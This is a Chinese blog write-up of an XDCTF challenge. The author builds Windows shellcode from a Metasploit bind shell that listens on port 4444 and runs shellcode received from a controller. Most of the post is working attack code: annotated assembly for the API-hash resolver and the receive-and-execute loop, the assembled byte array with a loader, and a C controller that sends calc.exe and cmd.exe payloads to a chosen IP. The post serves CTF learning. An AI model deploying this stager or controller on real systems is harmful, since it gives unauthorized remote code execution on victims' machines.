国庆参加了XDCTF,被虐的相当惨,不过时间安排确实不怎么好,时间安排在前六天,先提交且通过的得分高,越往后交分数越低,偏偏还要搞在1号0:00开始,相当的操蛋的安排。另外就是这是组队赛,大家很难把假期全部贡献在比赛上,以至于很多题目都没时间做了。不过玩玩就好,参加一下总是涨了点知识,写点笔记。(这次比赛许多大牛都出来厮杀了,场面相当激烈)
溢出部分有一个编写Shellcode的题目,要求ShellCode运行后能够监听4444端口,并且能够执行从控制端传输过来的其他ShellCode。现成的当然是没有的,全部自己写对于我等菜鸟来说那肯定不太可信吧,我的思路是找一个过来DIY一下。
首先,去Metasploit找一个框架过来吧:就拿一个tcp bind shell,端口设置为4444,将ShellCode导出为C语言的数组格式,然后稍微处理一下转成二进制文件(使用Notepad++去除其中的\x、引号以及换行符,然后转大写即可,然后使用C32Asm的特别粘贴功能,保存即可得到二进制文件),接着使用IDA分析一下这段ShellCode。
ShellCode的入口是这样的:
;========================================================= ; start ;========================================================= start: cld call kMainFun ; 主要逻辑代码函数 ;========================================================= ; 函数调用包装函数 ; 传入参数为待调用函数的参数以及函数名HASH值 ;========================================================= ;fnFunctionCaller proc assume fs:nothing pusha ; 保存所有寄存器 mov ebp, esp ; 建立新栈帧 xor edx, edx ; EDX寄存器清零操作 mov edx, fs:[edx+30h] ; PEB mov edx, [edx+0Ch] ; PEB_LDR_DATA mov edx, [edx+14h] ; InMemoryOrderModuleList loc_15: mov esi, [edx+28h] ; BaseDllName(DLL名字) movzx ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段) xor edi, edi ; EDI寄存器清零 ; ==== 计算DLL名字HASH值 ==== loc_1E: xor eax, eax ; EAX寄存器清零 lodsb ; 取DllName第一个字符 cmp al, 61h ; 'a' jl short loc_27 ; 小于'a'时跳转 sub al, 20h ; ' ' ; 转大写字母 loc_27: ror edi, 0Dh ; 移位 add edi, eax ; 累加 loop loc_1E ; 循环计算DllName哈希值 push edx push edi mov edx, [edx+10h] ; DllBase Dll基地址 mov eax, [edx+3Ch] ; 开始解析PE文件格式 add eax, edx mov eax, [eax+78h] ; 数据目录表输出表结构 test eax, eax jz short loc_89 ; 没有输出表, 跳转到返回 add eax, edx push eax mov ecx, [eax+18h] ; 总的导出函数个数 mov ebx, [eax+20h] add ebx, edx loc_4A: jecxz short loc_88 dec ecx mov esi, [ebx+ecx*4] ; 函数名字 add esi, edx xor edi, edi ; ==== 计算函数名字HASH值 ==== loc_54: xor eax, eax lodsb ror edi, 0Dh add edi, eax cmp al, ah jnz short loc_54 ; 循环计算函数名HASH值 add edi, [ebp-8] ; ==== Hash1(DllName) + Hash2(ApiName) ==== cmp edi, [ebp+24h] ; 判断HASH值是否和传入的参数一致 jnz short loc_4A ; 不相等继续寻找 pop eax mov ebx, [eax+24h] add ebx, edx mov cx, [ebx+ecx*2] mov ebx, [eax+1Ch] add ebx, edx mov eax, [ebx+ecx*4] add eax, edx mov [esp+28h-4], eax ; 保存函数的地址 pop ebx pop ebx popa ; 对应pusha pop ecx ; 弹出上一个函数返回地址到ECX pop edx ; 弹出函数名HASH值参数 push ecx ; 压入上一个函数的返回地址 jmp eax ; 调用函数(刚好对应上一个函数传入的第参数) loc_88: pop eax loc_89: pop edi pop edx mov edx, [edx] jmp short loc_15 ; 继续下一个DLL查找 ;fnFunctionCaller endp ;========================================================= end start |
一开始就是一条cld指令和一个call,先看一下call里面的部分代码:
;========================================================= ;kMainFun函数 ;========================================================= kMainFun proc pop ebp ; EBP = fnFunctionCaller push '23' push '_2sw' ; ws2_32 push esp push 726774Ch ; LoadLibrary的HASH值 call ebp ; 调用LoadLibrary加载ws2_32.dll ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> |
看到call/pop是不是很熟悉的感觉?其实就是把fnFunctionCaller的地址弹给ebp,然后在压入函数参数和一个HASH值,接着call ebp。这里的fnFunctionCaller就像是一个Wrapper,fnFunctionCaller里面的代码逻辑为:通过PEB的InMemoryOrderModuleList链表遍历每一个DLL,根据DLL的名字(如Kernel32.dll)计算出一个HASH值A,然后遍历每个DLL的导出表,计算每个通过名字导出的函数的名字计算出另一个HASH值B,通过A+B=C计算出哈希值的和C,然后通过传入的hash参数进行对比,相等就获取这个函数的地址。接着通过合适的处理栈,使得之前传过来的参数刚刚设置为这个函数的额参数结构,返回地址则返回到call ebp的下一条指令所在的位置,然后就调用了函数了。
ShellCode主要的代码逻辑就位于kMainFun函数里面,我们保留其中有用的部分,把accept之后的代码删掉,现在需要添加自己的逻辑了:使用VirtualAlloc分配足够大小的带可执行属性的空间、接收来自控制端的ShellCode、判断接收是否正确、创建新线程执行ShellCode、等待线程执行完毕。这样不断的循环即可。
这里本来是先调用HeapAlloc,然后调用VirtualProtect来修改属性的,只是后来发现HeapAlloc被重定向到了RtlAllocateHeap,然后也就不知道为何就异常了,不过后来发现VirtualAlloc更加简单。
;========================================================= ;kMainFun函数 ;========================================================= kMainFun proc pop ebp ; EBP = fnFunctionCaller push '23' push '_2sw' ; ws2_32 push esp push 726774Ch ; LoadLibrary的HASH值 call ebp ; 调用LoadLibrary加载ws2_32.dll ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> mov eax, 190h sub esp, eax ; 分配栈空间 push esp push eax push 6B8029h call ebp ; 调用WSAStartup 进行socket初始化 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push eax push eax push eax push eax inc eax push eax inc eax push eax push 0E0DF0FEAh call ebp ; 调用WSASocketA创建一个socket ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> mov edi, eax xor ebx, ebx push ebx push 5C110002h ; 0002-AF_INET 5C11-4444端口 mov esi, esp push 10h push esi push edi push 6737DBC2h call ebp ; 调用bind函数在4444端口进行绑定 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 分配栈空间保留相关变量 mov ecx, 100h loc_alloc_stack_mem: push 0h loop loc_alloc_stack_mem ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push ebx push edi push 0FF38E9B7h call ebp ; 调用listen开始监听 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> loc_wait_connect: push ebx ; 保存ebx push edi ; 保存edi push ebx push ebx push edi push 0E13BEC74h call ebp ; 调用accept等待客户端的连接请求 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> mov [esp+50h], eax ; [变量]保存客户端socket loc_wait_shellcode: ; 分配堆空间 push 40h ; PAGE_EXECUTE_READWRITE push 1000h ; MEM_COMMIT push 19000h ; 100KB push 0h ; lpAddress push 0E553A458h call ebp ; VirtualAlloc mov [esp+54h], eax ; [变量]保存hMem ; 接收ShellCode内容 push 0 ; flags push 18FFFh ; len push [esp+54h+8h]; buf push [esp+50h+0Ch]; socket push 5FC8D902h call ebp ; recv 接收shellcode内容 ; 判断是否出错 cmp eax, 0FFFFFFFFh ; 返回-1表示出错了 jz loc_over cmp eax, 0h jnz loc_run_shellcode ; 接收到了数据 ; 没有接收到任何数据,视为出错了 ; 先回收空间 push 4000h ; MEM_DECOMMIT push 19000h ; 100KB push [esp+54h+8h]; buf push 300F2F0Bh call ebp ; 调用VirtualFree jmp loc_over ; 创建新线程 loc_run_shellcode: push 0h ; lpThreadId = NULL push 0h ; dwCreationFlags = 立即执行 push 0h ; lpParameter = NULL push [esp+54h+0Ch]; lpStartAddress = buffer push 0h ; dwStackSize = 0 push 0h ; lpThreadAttributes = NULL push 0160D6838h call ebp ; 调用CreateThread执行ShellCode mov [esp+58h], eax; [变量]保存hThread ; 等待线程结束 push 0FFFFFFFFh ; INFINITE push [esp+58h+4h]; hThread push 601D8708h call ebp ; WaitForSingleObject ; 回收空间 push 4000h ; MEM_DECOMMIT push 19000h ; 100KB push [esp+54h+8h]; buf push 300F2F0Bh call ebp ; 调用VirtualFree ; 等待下一个发送内容 jmp loc_wait_shellcode ; 等待下一段ShellCode loc_over: ; 准备下一轮连接 pop edi ; 恢复edi pop ebx ; 恢复ebx jmp loc_wait_connect ; 等待下一个连接 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push 0 push 6F721347h call ebp ; 调用ExitProcess退出进程 kMainFun endp |
这里函数名字的HASH值需要自己计算(计算的汇编指令前面已经有了,抠出来就行,根据DLL名字以及API名字就能计算出HASH值),然后需要分配一定的栈空间用于保存变量,比如accept返回的socket句柄,在recv shellcode的时候就要用到,这些局部变量的引用要注意之前是否有参数压栈来调整与esp寄存器的距离。做的完美一点可以使用VirtualFree回收空间,这样的话一定要记得使用WaitForSingleObject等待线程结束。
写好汇编代码之后,用MASM32编译了一下代码,执行测试OK。这时候就需要使用16进制编辑器提取出二进制代码了。此时还剩下最后一步,就是调整部分字节,因为这里用到了函数,所以会提取出两段代码进行拼接,而编译器在编译的时候这两段代码之间是有距离的,所以最后要调整call指令的跳转距离。如果不会算的话可以先把ShellCode内嵌到C中编译,然后使用OD反汇编的时候进行汇编指令修改即可,最后把call kMainFun对应的机器码调整为\xE8\x89\x00\x00\x00。
最后使用内联汇编进行测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | #include <stdio.h> #include <windows.h> #pragma comment(linker, "/subsystem:windows") unsigned char kshell[] = "\xFC\xE8\x89\x00\x00\x00\x60\x8B\xEC\x33\xD2\x64" "\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28" "\x0F\xB7\x4A\x26\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x52\x57" "\x8B\x52\x10\x8B\x42\x3C\x03\xC2\x8B\x40\x78\x85" "\xC0\x74\x4A\x03\xC2\x50\x8B\x48\x18\x8B\x58\x20" "\x03\xDA\xE3\x3C\x49\x8B\x34\x8B\x03\xF2\x33\xFF" "\x33\xC0\xAC\xC1\xCF\x0D\x03\xF8\x38\xE0\x75\xF4" "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24" "\x03\xDA\x66\x8B\x0C\x4B\x8B\x58\x1C\x03\xDA\x8B" "\x04\x8B\x03\xC2\x89\x44\x24\x24\x5B\x5B\x61\x59" "\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86" "\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54" "\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" "\x2B\xE0\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0" "\xFF\xD5\x8B\xF8\x33\xDB\x53\x68\x02\x00\x11\x5C" "\x8B\xF4\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF" "\xD5\xB9\x00\x01\x00\x00\x6A\x00\xE2\xFC\x53\x57" "\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x57\x53\x53\x57" "\x68\x74\xEC\x3B\xE1\xFF\xD5\x89\x44\x24\x50\x6A" "\x40\x68\x00\x10\x00\x00\x68\x00\x90\x01\x00\x6A" "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\x44\x24\x54" "\x6A\x00\x68\xFF\x8F\x01\x00\xFF\x74\x24\x5C\xFF" "\x74\x24\x5C\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8" "\xFF\x74\x5C\x83\xF8\x00\x75\x17\x68\x00\x40\x00" "\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68\x0B" "\x2F\x0F\x30\xFF\xD5\xEB\x40\x6A\x00\x6A\x00\x6A" "\x00\xFF\x74\x24\x60\x6A\x00\x6A\x00\x68\x38\x68" "\x0D\x16\xFF\xD5\x89\x44\x24\x58\x6A\xFF\xFF\x74" "\x24\x5C\x68\x08\x87\x1D\x60\xFF\xD5\x68\x00\x40" "\x00\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68" "\x0B\x2F\x0F\x30\xFF\xD5\xE9\x70\xFF\xFF\xFF\x5F" "\x5B\xE9\x59\xFF\xFF\xFF"; int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { DWORD dwTemp = 0; VirtualProtect( kshell, sizeof(kshell), PAGE_EXECUTE_READWRITE, &dwTemp); __asm { lea eax, kshell push eax ret } return 0; } |
现在就可以编写控制端进行测试啦,注意因为这里通过创建新线程执行ShellCode,而且会等待新线程结束,所以发送过去的ShellCode就不要弹出MessageBox了,否则就把被控端的执行逻辑给卡死了。还有就是在使用Metasploit生成测试Shellcode的时候,退出方式选择thread,千万不要选process,因为那样就把被控端给kill掉了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | #include <windows.h> #include <winsock.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #pragma comment(lib, "ws2_32") #pragma comment(linker, "/subsystem:console") // 因为通过创建新线程执行Shellcode // 所以Shellcode的退出方式最好是退出线程 // 以保证还可以继续接收和执行其他shellcode unsigned char shellcode_calc[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00" "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63" "\x2e\x65\x78\x65\x00"; unsigned char shellcode_cmd[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00" "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e" "\x65\x78\x65\x00"; int main(int argc, char **argv) { WSADATA wsad; SOCKET sHost; SOCKADDR_IN servAddr; int retVal; if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0) { printf("初始化套接字失败!\n"); return -1; } sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET == sHost) { printf("创建套接字失败!\n"); WSACleanup(); return -1; } char szip[64] = {0}; printf("请输入被控端IP地址:"); scanf("%s", szip); servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = inet_addr(szip); servAddr.sin_port = htons(4444); int nServAddlen = sizeof(servAddr); retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); if(SOCKET_ERROR == retVal) { printf("连接服务器失败!\n"); closesocket(sHost); WSACleanup(); return -1; } //向服务器发送数据 printf("\n准备发送弹出计算器的Shellcode\n"); retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0); if (SOCKET_ERROR == retVal) { printf("发送弹出计算器的Shellcode失败!\n"); closesocket(sHost); WSACleanup(); return -1; } printf("按Enter发送下一段Shellcode\n"); system("pause"); //向服务器发送数据 printf("\n准备发送弹出CMD的Shellcode\n"); retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0); if (SOCKET_ERROR == retVal) { printf("发送弹出计算器的Shellcode失败!\n"); closesocket(sHost); WSACleanup(); return -1; } printf("测试完毕,准备退出!\n"); system("pause"); closesocket(sHost); WSACleanup(); return 0; } |
最终效果截图:
本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [XDCTF]Shellcode DIY
作者:代码疯子